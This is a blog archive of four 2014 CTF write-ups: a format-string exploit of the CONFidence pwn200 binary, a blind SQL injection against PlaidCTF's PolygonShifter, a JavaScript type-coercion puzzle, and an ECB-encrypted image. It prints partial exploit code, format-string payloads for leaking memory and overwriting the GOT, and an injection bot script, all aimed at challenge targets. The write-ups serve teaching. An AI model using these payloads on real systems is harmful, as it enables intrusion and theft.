Sunday, April 27, 2014

CONFidence DS CTF - pwn200 writeup

The Dragon Sector team put together a nice teaser CTF for the CONFidence security confidence held in Krakow. Here is the writeup for the exploitation task.

Finding the vulnerability

Let's see how the application works. Fortunately it works with stdout right away, and then it's bound to a socket later on, so we don't need to take care of that during debugging. This is also a minor hint for later, which I didn't realize at the time.

So you can select an operation and then supply the argument count and the arguments themselves. Then you get the result along with a quote, which is unique for all operations.

One thing we can find without any reversing is an info leak. If we use 'pow' with just one argument for example, the other argument will be a leaked address (as an integer). Maybe this will be useful later on.

Let's fire up IDA and look for vulnerabilities.

We can see right away that the operations are stored in an array at 0x3B00. There is a name, a quote and a handling function for each operation.

First things first, we look at the main function.

v8 = *MK_FP(__GS__, 20);
setbuf(stdout, 0);
puts("Welcome to Multipurpose Calculation Machine!");
for ( i = 0; i <= 2; ++i )
  printf("Choice: ");
  read_count = read(0, &input, 63u);
  if ( !read_count )
  *(&input + read_count) = 0;
  newline_idx = strchr(&input, '\n');
  if ( newline_idx )
    *newline_idx = 0;
  for ( j = 0; *(void **)((char *)&operations + 3 * j + 8) != 0; ++j )
    op_len = strlen((const char *)*(&operations + 3 * j));
    if ( !memcmp(&input, *(&operations + 3 * j), op_len) )
      (*(void (__cdecl **)(char *, signed int, _DWORD, char *))((char *)&operations + 3 * j + 8))(
        *(void **)((char *)&operations + 3 * j + 4),
result = 0;
if ( *MK_FP(__GS__, 20) != v8 )
return result;

The memcp used to find the operation that we want is a bit fishy here. It uses the operation's length when comparing, so we can essentially enter addAAAA... and still access the add operation. This will be useful later. We can see that the user input is 63 characters at max. Otherwise this function just looks up the opeartion and calls it's handling function with some parameters (format string buffer, n=308, the quote used and the input the user supplied).

Now let's see the handling function for the first operation (add). After some renaming, we get the following C code:

v11 = 10;
printf("[%s] Choose the number of parameters: ", op);
scanf("%u", &param_count);
if ( (unsigned int)param_count <= 10 )
  for ( i = 0; i < param_count; ++i )
    printf("[%s] Provide parameter %u: ", op, i + 1);
    scanf("%u", &params[i]);
  print_to_string(char_buf, 0x1000u, op, msg_of_day, params, param_count);
  strncpy(output_buf, char_buf, n);
  for ( j = 0; j < n; ++j )
    if ( output_buf[j] == '%' )
      output_buf[j] = '_';
  sum = 0LL;
  for ( k = 0; k < param_count; ++k )
    sum += (unsigned int)params[k];
  result = printf("[%s] The sum of provided numbers is %llu\n", op, sum);
  result = printf("[%s] Too many arguments!\n", op);
return result;

The huge red flag here is that the program is manually replacing the '%' signs instead of using puts on the output. There has to be a format string vulnerability here (or the creator of the task is just messing with us).

We know that the value of 'n' is 308. Unfortunately, we only copy 308 characters into the string, so every '%' will be replaced. But wait a second! If we could somehow overflow the terminating zero at the end of the buffer, the original user input, which specified the operation to use in the main function would also be printed. (Because this is the value immediately next to the buffer on the stack in main). Then, our format string would be evaluated.

The next step is a quest to look for the longest possible output. Here is the format of the string:
[<operation>] Message of the day: <quote>, operands: [<op 1>, <op 2>, ..., <op n>]
After some manual search, we find that 'tan' will result in the longest output. First of all, the operation string is the same one supplied by the user, so it's 63 characters at most. Then we have to find the longest integer we can supply. Since it is signed, we can gain an extra character with negative values. The longest value we can get is "-1111111111". Adding everything up, we get a buffer that is 307 characters long. But wait a second, there is a newline at the end we forgot to count! So we have our vulnerability after all. Let's test it now.

That's a beautiful address we just leaked there, and proof that our vulnerability works.

Pwning the service

So how do we go about pwning the task now?

I made a big mistake here, and didn't spend enough time doing 'recon' before diving into things, and I missed that there is a very helpful function at 0x0D20, which basically calls system("/bin/sh") for us. All I saw was that system is among the symbols, so my idea was to replace one of the functions in the got with system's address (heh, very original, I know).

My idea was to replace memcmp with system, so in the next turn, our input is evaluated.

Finding the system function

So how do we find where the system function is on the remote host? Well, we already have an info leak, let's use the leaked address. We can measure the offset between the leaked address and system locally and use that in the remote exploit, depending on what address we leaked.

Fortunately the leaked address will be useful, because it's in the bss segment. It points to the buffer at 0x3BC0. memcmp in the got is at 0x3A78, while system is at 0x3A84. With this, we get offsets of -0x148 and -0x13C respectively.

Our goal is to write the value at 0x3A84 (or wherever it is remotely, we already know this from the leak) into 0x3A78. So we need one more step here, to leak the value at 0x3A84. It will also be relative to the leaked address. To do this, we have to start writing the exploit.

def send_payload(payload):
    global s

    payload = payload + "A" * (63 - len(payload))

    s.send(payload + "\n")

    for x in range(9):

    res = s.recv(1024)
    return res.split("\n")[1]

This function will send our payload and return the leaked value to us. The first address can be leaked like this:

# Leak address
payload = "tan %08x "

result = send_payload(payload)
result = result.split("[")[0].split(" ")[1:-1]
leaked_addr = int(result[0], 16)

How can we now leak a value at a specific address?

Leaking system's address

We can use the %s format to leak values. %s will pick up an address from the stack, and print the string located there. Another trick is to use %X$s, where X specifies the index to use from the stack. Now we have to find (locally, using gdb) where our input is on the stack.

(gdb) start
(gdb) b *0x56556dcf
(gdb) r
Choice: tanAAAA
<run until breakpoint is triggered>
(gdb) x/256x $esp
0xffffd100: 0xffffd1a8  0x56558bc0  0x00000134  0x565573d8
0xffffd110: 0xffffd138  0x00000001  0x00000000  0xf7d5893c
0xffffd120: 0xf7e94a20  0x0000000a  0x000000b7  0x56555000
0xffffd130: 0x56555464  0x00003a78  0x00000001  0xf7cef700
0xffffd140: 0xf7e94a20  0xf7cf88f8  0xf7d3385b  0xf7e93ff4
0xffffd150: 0x00000000  0x56558a68  0x56558b00  0x00000000
0xffffd160: 0x00000134  0x00000001  0x00000001  0x00000009
0xffffd170: 0xffffd2dc  0x56558a68  0xffffd338  0x56555cb7
0xffffd180: 0xffffd1a8  0x00000134  0x565573d8  0xffffd2dc
0xffffd190: 0xf7ef3b98  0x00000008  0xffffd2e3  0x00000008
0xffffd1a0: 0x00000000  0x00000003  0x6e61745b  0x41414141
0xffffd1b0: 0x654d205d  0x67617373  0x666f2065  0x65687420

And we can see 0x41414141 at 0xffffd1a0, which means we need to access the stack from the 43rd address. Let's find system's value for real.

# Kids, don't code like this at home
result = send_payload("tan" + system_got_addr + " >>>%43$s<<< ")
system_value = result.split(">>>")[1].split("<<<")[0][0:4][::-1].encode('hex')

print "System:", system_value

offset = leaked_addr - int(system_value, 16)
print "Offset:", offset

The offset will be 13010, which is 0x32D2 in hex.

The good old arbitrary write

Now that we know everything, only one step remains. We have to write (leaked_addr - 0x32D2) at (leaked_addr - 0x148). This is easy to do using %hhn to replace the value byte-by-byte. You can find the final exploit here:

Then, to get code execution we have to initiate a third calculation. This time, our input will be passed to system instead of memcmp. And this is what happens:

$ ls -lsa
total 28
 4 drwxr-xr-x 2 root root  4096 Apr 26 08:15 .
 4 drwxr-xr-x 3 root root  4096 Apr 25 23:21 ..
 4 -rw-r--r-- 1 root root    71 Apr 25 23:22 flag.txt
16 -rwxr-xr-x 1 root root 12580 Apr 26 08:15 pwn200
[ls -lsa] Choose the number of parameters:

$ cat flag.txt

I think the tasks were very nice on this CTF, thanks to Dragon Sector! I will certainly be looking forward to more of their CTFs in the future.

Sunday, April 13, 2014

PlaidCTF 2014 - PolygonShifter writeup

This wasn't a very hard web challenge, but it was a cool idea and we managed to solve it first ("Quick, while tomcr00se is not looking"), so I'll do a writeup on it.

Task description

The site looks like it's trying to sell some security mechanism they came up with (patent pending, heh). The idea is that form fields get random names, so bots can't access the site. There is a sample application, where we can log in with "test / test" to check how their super secure solution works.

There is a HTML comment in the login form.

<!--<h3>For admin interface, admin / ???????</h3>-->

Of course randomizing names of a form won't protect you from SQL injection. This is what we get after logging in as admin:

What is left is getting the password with blind SQL injection. Let's see if we can use bots after all. This is the code that bypasses the random names and logs in with a specified username:

url = ""
resp = requests.get(url + "/example")
form = resp.text.encode('utf-8')
action = form.split("<form action=\"")[1].split("\"")[0]
user = form.split("Username")[1].split("Password")[0].split("name=\"")[1].split("\"")[0]
passwd = form.split("Password")[1].split("primary")[0].split("name=\"")[1].split("\"")[0]

cookie = resp.headers['set-cookie']

resp = + action, data={user: payload, passwd: "test"}, headers={'Cookie': cookie})
res = resp.text.encode('utf-8')

Now we can plug this into our blind injection script, and it will spit out the table name, column name and eventually the password. Here is the final exploit:

And the flag was n0b0t5_C4n_bYpa5s_p0lYm0rph1Sm
Oh, but they can!

Awesome CTF from PPP, thanks for organizing it, I need to catch up on some work and sleep now.

PlaidCTF 2014 - halphow2js writeup

This task was for 200 points, and it took us quite a lot of time to figure out. We still managed to get the breakthrough bonus on it, so I guess we were not alone with this.

The task description

When we visit the site, we are greeted with some ugly JS and a bunch of prompts. Chrome dies a miserable death once we enter the fifth number, and some processing starts. 

Let's look at the source. I mirrored it here:
function client_side() {
 var x,y,z,w,ww;
 while(1) {
  x = prompt("#1",'1'); if(!x) return;
  y = prompt("#2",'2'); if(!y) return;
  z = prompt("#3",'3'); if(!z) return;
  w = prompt("#YOLO",'420'); if(!w) return;
  ww = prompt("#PPP",'123'); if(!ww) return;
  // The best solutions run FAST!
  // So, skip the slow self test if you've got a solution
  if(filter(x,y,z,w,ww) == FLAG) break;
  if(!self_test()) {
   alert("Sanity check failed! ...");
  alert("Pick better numbers, man.");
 call_server(x,y,z,w,ww, function(x) { alert(x); });

So if filter returns the flag, we are good. Otherwise, we start running the self_test, which calls the mystop function and takes forever to complete. Our next step (and mistake) was trying to figure out why mystop is slow and optimize it. I think this is a very common mistake I make - forgetting what category a task is and trying stupid things. Let's say that mystop is complicated and move on. I wasted an hour here.

Our next idea was to find all the 1000 values, except those that take forever to compute. We did this with a little script using Worker threads. We ended up with ~750 values. Needless to say, this was unnecessary work, but hey, it was 4AM. Let's (finally) look at the filter function that validates the key.

function filter() {
 var args = [].slice.apply(arguments).sort().filter(function(x,i,a){return a.indexOf(x) == i;});
 if(args.length != 5) return "uniq";
 var flag = false;{flag |= x >= 999;});
 if(flag) return "big";
 var m =;
 if(m.filter(function(x,i){return m[2]+3*i == x;}).length < 3) return "unsexy";
 if(m.filter(function(x,i){return x == args[i];}).length < 3) return "hippopotamus";
 if(m.filter(function(x,i){return x > m[i-1];}).length > 3) return "banana phone";
 return FLAG;

Oh, look, there are some checks that exclude a lot of values.

  • The keys have to be unique and under 1000
  • For each number in the key, mystop is called (array m)
  • At least 3 items have to follow the formula: m[2] + 3*i == x
  • At least 3 items have to be equal to the key itself
  • The keys cannot be in increasing order

Edit: that last part is a lie, they are sorted by the filter function first. Thanks to @mathias for the clarification, here is his write-up too.

The strongest limitation seems to be number 4, since we hadn't seen many numbers that would map to themselves, only 6 and 1. So how can we have 3? This is were it starts becoming a web task. Look closely at the filter. It uses ==, which is vulnerable, since it doesn't check type. Bingo. One tiny problem is that the values we pass to filter will all be strings, since prompt returns a string. All we have to play with is parsing now. During testing, I found the following weird issue with mystop:

> mystop("2")
> mystop("2e0")
> mystop("2e00")

So this is how we can make a value map to itself, though this only seems to work for 2. The rest is easy, we can arrange our (mystop mapped) values like this:

2, 2, 2, 11, 14

Then the formula we need to satisfy will apply for 3 elements (0, 3, 4). All we needed now was to find 2 numbers that map to 11 and 14. Final payload:

["2e0", "2e00", "2e000", "497", "944"]

The flag

Saturday, April 5, 2014

Nuit Du Hack Quals - "Another One" writeup

"Another One" was a crypto task for 300 points, but according to the number of solutions, it was the second easiest. Nonetheless, it was a cool little task, so I decided to make a quick writeup.

The task description doesn't say too much about what to do: "This is a crypted image, you must extract the data.". Well, duh. After downloading the image, I realized that it's a bmp file. There must be a very good reason for using a bmp file here, otherwise it would be a waste of bandwidth. Let's look at the file in a hex editor.

It looks like there are some random bytes in the beginning, and then a lot of repetitions. Of course the bytes in the beginning aren't random, they are part of the header. Knowing the bmp format, we can tell that the bytes after the header are part of the bitmap data itself.

How could the bmp be encrypted? Could it be a simple repeating xor key? It could, but then why is this picture a bmp? A big hint here is that the repeating part is 16 bytes long, which is the typical block size for block ciphers. If it's a block cipher, the mode has to be ECB, since it's practically impossible for CBC to generate repeating blocks. If it's indeed encrypted using ECB, we have a solution. Assume that the repeating part is white, and display any block that isn't identical as a few black pixels next to each other.

Since the rows are reversed in bmp files, we can go from the bottom, so that the image won't be flipped.

There is one problem: we need to figure out the original size of the image, otherwise all we get is some mess. Let's try some numbers. Note that the size of the image gives us a clue about possible sizes. Fiddling around with an empty bmp file, 1440 * 960 gives a very similar result in size, so we can start off with 1440 as the width. Here's result.

This looks like the philosoraptor and some text, but it's not perfect. Next, we can try 2880, since it looks like 4 dinosaurs are overlapped. At this point we got a bit lucky, because Ubuntu's image viewer is awesome, and after zooming out, it fixed most of the errors. Then we mirrored the image and got this.

It's not impossible to read the message now: 


Here is the script that generated these images:
Thanks for the Nuit du Hack team for organizing the qualifier, we liked the challenges a lot.